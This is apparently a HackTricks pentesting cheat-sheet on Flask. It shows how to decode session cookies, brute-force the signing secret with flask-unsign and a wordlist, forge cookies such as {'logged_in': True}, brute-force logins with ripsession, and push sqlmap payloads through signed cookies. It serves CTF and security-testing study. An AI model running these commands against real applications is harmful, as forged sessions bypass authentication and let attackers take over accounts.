5.5 KiB
Flask
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{% hint style="danger" %}
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
{% embed url="https://securityhubs.io/" %} {% endhint %}
Probably if you are playing a CTF a Flask application will be related to SSTI.
Cookies
Default cookie session name is session.
Decoder
Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password
Flask-Unsign
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Decode Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signing
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signing using legacy (old versions)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Command line tool to brute-force websites using cookies crafted with flask-unsign. {% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask session cookie with SQLmap
This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.
{% hint style="danger" %}
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
{% embed url="https://securityhubs.io/" %} {% endhint %}
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.